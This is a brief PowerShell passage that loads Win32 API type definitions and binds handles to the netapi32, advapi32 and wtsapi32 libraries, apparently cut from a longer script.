}

$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'

$Netapi32 = $Types['netapi32']

$Advapi32 = $Types['advapi32']

$Wtsapi32 = $Types['wtsapi32']